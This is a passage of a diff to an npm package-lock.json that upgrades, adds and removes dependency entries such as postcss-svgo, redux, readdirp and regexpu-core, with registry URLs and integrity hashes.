"https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", - "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-7.0.1.tgz", + "integrity": "sha512-0WBUlSL4lhD9rA5k1e5D8EN5wCEyZD6HJk0jIvRxl+FDVOMlJ7DePHYWGGVc5QRqrJ3/06FTXM0bxjmJpmTPSA==", "dev": true, + "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0", - "svgo": "^2.7.0" + "svgo": "^3.3.2" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >= 18" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-unique-selectors": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", - "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-7.0.3.tgz", + "integrity": "sha512-J+58u5Ic5T1QjP/LDV9g3Cx4CNOgB5vz+kM6+OxHHhFACdcDeKhBXjQmB7fnIZM12YSTvsL0Opwco83DmacW2g==", "dev": true, + "license": "MIT", "dependencies": { - "postcss-selector-parser": "^6.0.5" + "postcss-selector-parser": "^6.1.2" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-value-parser": { @@ -14853,21 +12754,13 @@ "node": ">= 0.8.0" } }, - "node_modules/prepend-http": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-1.0.4.tgz", - "integrity": "sha512-PhmXi5XmoyKw1Un4E+opM2KcsJInDvKyuOumcjjw3waw86ZNjHwVUOOWLc4bCzLdcKNaWBH9e99sbWzDQsVaYg==", - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/pretty-format": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.0.1.tgz", - "integrity": "sha512-iTHy3QZMzuL484mSTYbQIM1AHhEQsH8mXWS2/vd2yFBYnG3EBqGiMONo28PlPgrW7P/8s/1ISv+y7WH306l8cw==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", "dev": true, "dependencies": { - "@jest/schemas": "^29.0.0", + "@jest/schemas": "^29.6.3", "ansi-styles": "^5.0.0", "react-is": "^18.0.0" }, @@ -14906,29 +12799,6 @@ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" }, - "node_modules/promise-inflight": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", - "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", - "dev": true, - "optional": true, - "peer": true - }, - "node_modules/promise-retry": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", - "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "err-code": "^2.0.2", - "retry": "^0.12.0" - }, - "engines": { - "node": ">=10" - } - }, "node_modules/promise-to-callback": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/promise-to-callback/-/promise-to-callback-1.0.0.tgz", @@ -14964,18 +12834,6 @@ "react-is": "^16.8.1" } }, - "node_modules/proxy-addr": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", - "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", - "dependencies": { - "forwarded": "0.2.0", - "ipaddr.js": "1.9.1" - }, - "engines": { - "node": ">= 0.10" - } - }, "node_modules/prr": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", @@ -15004,23 +12862,31 @@ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" }, - "node_modules/pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, "node_modules/punycode": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "license": "MIT", "engines": { "node": ">=6" } }, + "node_modules/pure-rand": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.0.3.tgz", + "integrity": "sha512-KddyFewCsO0j3+np81IQ+SweXLDnDQTs5s67BOnrYmYe/yNmUhttQyGsYzy8yUnoljGAQ9sl38YB4vH8ur7Y+w==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ] + }, "node_modules/qrcode": { "version": "1.4.4", "resolved": "https://registry.npmjs.org/qrcode/-/qrcode-1.4.4.tgz", @@ -15184,281 +13050,71 @@ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", "dependencies": { - "camelcase": "^5.0.0", - "decamelize": "^1.2.0" - } - }, - "node_modules/qs": { - "version": "6.5.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", - "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==", - "engines": { - "node": ">=0.6" - } - }, - "node_modules/query-string": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/query-string/-/query-string-5.1.1.tgz", - "integrity": "sha512-gjWOsm2SoGlgLEdAGt7a6slVOk9mGiXmPFMqrEhLQ68rhQuBnpfs3+EmlvqKyxnCo9/PPlF+9MtY02S1aFg+Jw==", - "dependencies": { - "decode-uri-component": "^0.2.0", - "object-assign": "^4.1.0", - "strict-uri-encode": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/querystring": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", - "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=", - "deprecated": "The querystring API is considered Legacy. new code should use the URLSearchParams API instead.", - "engines": { - "node": ">=0.4.x" - } - }, - "node_modules/querystringify": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", - "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", - "dev": true - }, - "node_modules/queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, - "node_modules/quick-lru": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", - "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/randombytes": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", - "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", - "dependencies": { - "safe-buffer": "^5.1.0" - } - }, - "node_modules/randomfill": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/randomfill/-/randomfill-1.0.4.tgz", - "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==", - "dependencies": { - "randombytes": "^2.0.5", - "safe-buffer": "^5.1.0" - } - }, - "node_modules/range-parser": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", - "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/raw-body": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", - "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", - "dependencies": { - "bytes": "3.1.2", - "http-errors": "2.0.0", - "iconv-lite": "0.4.24", - "unpipe": "1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/react": { - "version": "16.14.0", - "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz", - "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==", - "dependencies": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1", - "prop-types": "^15.6.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-dom": { - "version": "16.14.0", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz", - "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==", - "dependencies": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1", - "prop-types": "^15.6.2", - "scheduler": "^0.19.1" - }, - "peerDependencies": { - "react": "^16.14.0" - } - }, - "node_modules/react-is": { - "version": "16.13.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", - "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" - }, - "node_modules/read-pkg": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", - "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "@types/normalize-package-data": "^2.4.0", - "normalize-package-data": "^2.5.0", - "parse-json": "^5.0.0", - "type-fest": "^0.6.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/read-pkg-up": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz", - "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "find-up": "^4.1.0", - "read-pkg": "^5.2.0", - "type-fest": "^0.8.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/read-pkg-up/node_modules/find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/read-pkg-up/node_modules/locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "p-locate": "^4.1.0" - }, - "engines": { - "node": ">=8" + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" } }, - "node_modules/read-pkg-up/node_modules/p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "p-try": "^2.0.0" - }, + "node_modules/qs": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz", + "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==", "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">=0.6" } }, - "node_modules/read-pkg-up/node_modules/p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "optional": true, - "peer": true, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", "dependencies": { - "p-limit": "^2.2.0" - }, - "engines": { - "node": ">=8" + "safe-buffer": "^5.1.0" } }, - "node_modules/read-pkg-up/node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=8" + "node_modules/randomfill": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/randomfill/-/randomfill-1.0.4.tgz", + "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==", + "dependencies": { + "randombytes": "^2.0.5", + "safe-buffer": "^5.1.0" } }, - "node_modules/read-pkg-up/node_modules/type-fest": { - "version": "0.8.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", - "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", - "dev": true, - "optional": true, - "peer": true, + "node_modules/react": { + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz", + "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2" + }, "engines": { - "node": ">=8" + "node": ">=0.10.0" } }, - "node_modules/read-pkg/node_modules/type-fest": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", - "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=8" + "node_modules/react-dom": { + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz", + "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2", + "scheduler": "^0.19.1" + }, + "peerDependencies": { + "react": "^16.14.0" } }, + "node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, "node_modules/readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -15469,42 +13125,28 @@ } }, "node_modules/readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.0.1.tgz", + "integrity": "sha512-GkMg9uOTpIWWKbSsgwb5fA4EavTR+SG/PMPoAY8hkhHfEEY0/vqljY+XHqtDf2cr2IJtoNRDbrrEpZUiZCkYRw==", "dev": true, - "dependencies": { - "picomatch": "^2.2.1" - }, "engines": { - "node": ">=8.10.0" - } - }, - "node_modules/rechoir": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.7.1.tgz", - "integrity": "sha512-/njmZ8s1wVeR6pjTZ+0nCnv8SpZNRMT2D1RLOJQESlYFDBvwpTA4KWJpZ+sBJ4+vhjILRcK7JIFdGCdxEAAitg==", - "dev": true, - "dependencies": { - "resolve": "^1.9.0" + "node": ">= 14.16.0" }, - "engines": { - "node": ">= 0.10" + "funding": { + "type": "individual", + "url": "https://paulmillr.com/funding/" } }, - "node_modules/redent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", - "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "node_modules/rechoir": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.8.0.tgz", + "integrity": "sha512-/vxpCXddiX8NGfGO/mTafwjq4aFa/71pvamip0++IQk3zG8cbCj0fifNPrjjF1XMXUne91jL9OoxmdykoEtifQ==", "dev": true, - "optional": true, - "peer": true, "dependencies": { - "indent-string": "^4.0.0", - "strip-indent": "^3.0.0" + "resolve": "^1.20.0" }, "engines": { - "node": ">=8" + "node": ">= 10.13.0" } }, "node_modules/reduce-reducers": { @@ -15513,11 +13155,31 @@ "integrity": "sha512-Mb2WZ2bJF597exiqX7owBzrqJ74DHLK3yOQjCyPAaNifRncE8OD0wFIuoMhXxTnHK07+8zZ2SJEKy/qtiyR7vw==" }, "node_modules/redux": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/redux/-/redux-4.2.0.tgz", - "integrity": "sha512-oSBmcKKIuIR4ME29/AeNUnl5L+hvBq7OaJWzaptTQJAntaPvxIJqfnjbaEiCzzaIz+XmVILfqAM3Ob0aXLPfjA==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz", + "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==" + }, + "node_modules/reflect.getprototypeof": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz", + "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==", + "dev": true, + "license": "MIT", "dependencies": { - "@babel/runtime": "^7.9.2" + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.7", + "get-proto": "^1.0.1", + "which-builtin-type": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/regenerate": { @@ -15527,9 +13189,9 @@ "dev": true }, "node_modules/regenerate-unicode-properties": { - "version": "10.0.1", - "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.0.1.tgz", - "integrity": "sha512-vn5DU6yg6h8hP/2OkQo3K7uVILvY4iu0oI4t3HFa81UPkhGJwkRwM10JEc3upjdhHjs/k8GJY1sRBhk5sr69Bw==", + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.0.tgz", + "integrity": "sha512-DqHn3DwbmmPVzeKj9woBadqmXxLvQoQIwu7nopMc72ztvxVmVk2SBhSnx67zuye5TP+lJsb/TBQsjLKhnDf3MA==", "dev": true, "dependencies": { "regenerate": "^1.4.2" @@ -15539,17 +13201,30 @@ } }, "node_modules/regenerator-runtime": { - "version": "0.13.9", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz", - "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA==" + "version": "0.14.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", + "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==", + "license": "MIT" }, - "node_modules/regenerator-transform": { - "version": "0.15.0", - "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.0.tgz", - "integrity": "sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg==", + "node_modules/regexp.prototype.flags": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz", + "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/runtime": "^7.8.4" + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-errors": "^1.3.0", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/regexpp": { @@ -15565,49 +13240,40 @@ } }, "node_modules/regexpu-core": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.1.0.tgz", - "integrity": "sha512-bb6hk+xWd2PEOkj5It46A16zFMs2mv86Iwpdu94la4S3sJ7C973h2dHpYKwIBGaWSO7cIRJ+UX0IeMaWcO4qwA==", + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-6.2.0.tgz", + "integrity": "sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA==", "dev": true, "dependencies": { "regenerate": "^1.4.2", - "regenerate-unicode-properties": "^10.0.1", - "regjsgen": "^0.6.0", - "regjsparser": "^0.8.2", + "regenerate-unicode-properties": "^10.2.0", + "regjsgen": "^0.8.0", + "regjsparser": "^0.12.0", "unicode-match-property-ecmascript": "^2.0.0", - "unicode-match-property-value-ecmascript": "^2.0.0" + "unicode-match-property-value-ecmascript": "^2.1.0" }, "engines": { "node": ">=4" } }, "node_modules/regjsgen": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.6.0.tgz", - "integrity": "sha512-ozE883Uigtqj3bx7OhL1KNbCzGyW2NQZPl6Hs09WTvCuZD5sTI4JY58bkbQWa/Y9hxIsvJ3M8Nbf7j54IqeZbA==", + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==", "dev": true }, "node_modules/regjsparser": { - "version": "0.8.4", - "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.8.4.tgz", - "integrity": "sha512-J3LABycON/VNEu3abOviqGHuB/LOtOQj8SKmfP9anY5GfAVw/SPjwzSjxGjbZXIxbGfqTHtJw58C2Li/WkStmA==", + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.12.0.tgz", + "integrity": "sha512-cnE+y8bz4NhMjISKbgeVJtqNbtf5QpjZP+Bslo+UqkIt9QPnX9q095eiRRASJG1/tz6dlNr6Z5NsBiWYokp6EQ==", "dev": true, "dependencies": { - "jsesc": "~0.5.0" + "jsesc": "~3.0.2" }, "bin": { "regjsparser": "bin/parser" } }, - "node_modules/regjsparser/node_modules/jsesc": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", - "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", - "dev": true, - "bin": { - "jsesc": "bin/jsesc" - } - }, "node_modules/request": { "version": "2.88.2", "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", @@ -15673,33 +13339,26 @@ "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", "integrity": 